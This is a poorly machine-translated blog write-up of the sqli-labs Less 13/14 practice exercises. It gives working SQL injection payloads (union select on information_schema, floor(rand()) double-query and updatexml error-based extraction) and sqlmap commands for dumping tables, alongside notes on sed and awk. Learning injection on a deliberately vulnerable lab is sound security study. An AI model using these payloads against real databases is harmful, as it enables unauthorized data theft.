当前位置:网站首页>sqlilabs less13
sqlilabs less13
2022-07-01 14:06:00 【It's always late at night.】
Manual and script

Obviously , Accurate error reporting gives us what we want .
Structure below SQL sentence
select * from table where uname = ('') and password = ('')
When querying the table, it is found that there is no return , Only successful login
1') union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() #

When constructing statements, it seems that error injection can be used 
1') union select count(*),concat((select table_name from information_schema.tables where table_schema=database()limit 0,1),floor(rand()*2))a from information_schema.tables group by a#
By modifying the limit n,1 Of n To query different rows
Because this double injection is random , It may take several times to succeed 
The field name and data are the same , You can consider burp suite Or write a script .

Um. , To explain awk sed tr Work
awk -F Separator ( such as “ > ”) With > Separator , From the beginning to the first separator > by 1, From the first > To the second is 2…… {print$n} n It's No n individual 1 It's from the beginning to the first separator
tr a b It's a a Replace with b
sed ‘s/a/b/g’ s Is an alternative hold a Replace with b g yes s A mark in the replace command is used to replace all a, If not g Just replace the first a
‘s/(.*),/\1,/’ Will find the last , Replace empty Why?
because . Is to match a single character other than newline , , Add the following single characters 
Is to repeat the previous match N Time or 0 Time Because the first time was , really Repeat it again , A single character after true , splendid Because of repetition N So , All the back ( Except for line breaks ) All can match 
So we give . Parentheses indicate the beginning and end of the subexpression Because there is no limit, the match is all 
Then if I'm (.*) After adding an English comma, it becomes the part with an English comma at the end of the match 
Is it possible to replace the last English comma Try it on the computer !
You can see that the English comma and all the characters before it are replaced , Because there is an English comma at the end of the first two lines, the whole line is replaced by an exclamation point , At the end of the third line is a string of characters, so only the English comma is replaced with an exclamation point . Why is that wrong . Think carefully , It matches the last English comma and all before it , What if I replace the matching with the matching ( Be careful \1 Will capture the first () Specified characters in \2 It's the second one () Internal )
Is the last English comma gone
Another example 
Put the in brackets ab Plus the outside c That is to say abc( Note that there is no g, So only replace the first abc) Replace with \1 The character in the first parenthesis quoted ab, Use \2 Well , Is to put the first abc Replace with c
It is recommended to do it yourself to strengthen understanding
Based on error
Prophase structure sql Statement typing database The accidental discovery of wrong time may also have error based injection 
1') and updatexml(1,(concat(0x7c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))),1)#

sqlmap
Grab the package first and then save it in a text file Use
sqlmap -r xx.txt

And then use -dbs 、-D database_name -tables and -D database_name -T table_name --dump
less-14
less14 and less13 Empathy sql The sentence has changed from English single quotation marks with parentheses to English double quotation marks 
边栏推荐
- [IOT design. Part I] stm32+ smart cloud aiot+ laboratory security monitoring system
- 奔涌而来的数字化浪潮,将怎样颠覆未来?
- 光环效应——谁说头上有光的就算英雄
- Six years of technology iteration, challenges and exploration of Alibaba's globalization and compliance
- So programmers make so much money doing private work? It's really delicious
- 百度上找的期货公司安全吗?期货公司怎么确定正规
- 用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍
- Understand the window query function of tdengine in one article
- When you really learn databinding, you will find "this thing is really fragrant"!
- Why did you win the first Taosi culture award of 20000 RMB if you are neither a top R & D expert nor a sales Daniel?
猜你喜欢

开源实习经验分享:openEuler软件包加固测试

leetcode622.设计循环队列(C语言)

Admire, Ali female program undercover more than 500 black production groups

TDengine 连接器上线 Google Data Studio 应用商店

既不是研发顶尖高手,也不是销售大牛,为何偏偏获得 2 万 RMB 的首个涛思文化奖?

Self cultivation of open source programmers who contributed tens of millions of lines of code to shardingsphere and later became CEO

那个很努力的学生,高考失败了……别慌!你还有一次逆袭机会!

用对场景,事半功倍!TDengine 的窗口查询功能及使用场景全介绍

App automation testing Kaiyuan platform appium runner
![[安网杯 2021] REV WP](/img/98/ea5c241e2b8f3ae4c76e1c75c9e0d1.png)
[安网杯 2021] REV WP
随机推荐
2022. Let me take you from getting started to mastering jetpack architecture components - lifecycle
What "hard core innovations" does Intel have in the first half of 2022? Just look at this picture!
This paper introduces an implementation scheme to enhance the favorite transaction code management tool in SAP GUI
Word2vec training Chinese word vector
Summary of interview questions (1) HTTPS man in the middle attack, the principle of concurrenthashmap, serialVersionUID constant, redis single thread,
【NLP】预训练模型——GPT1
MySQL日志
自定义注解实现验证信息的功能
开源者的自我修养|为 ShardingSphere 贡献了千万行代码的程序员,后来当了 CEO
QT community management system
Play with grpc - communication between different programming languages
Introduction to distributed transactions (Seata)
How to pass array parameters in get request
Logic is a good thing
用栈实现队列、用队列实现栈(C语言_leetcode_232+225)
Journal MySQL
Go integrates logrus to realize log printing
User defined annotation realizes the function of verifying information
C语言课程设计题目
[安网杯 2021] REV WP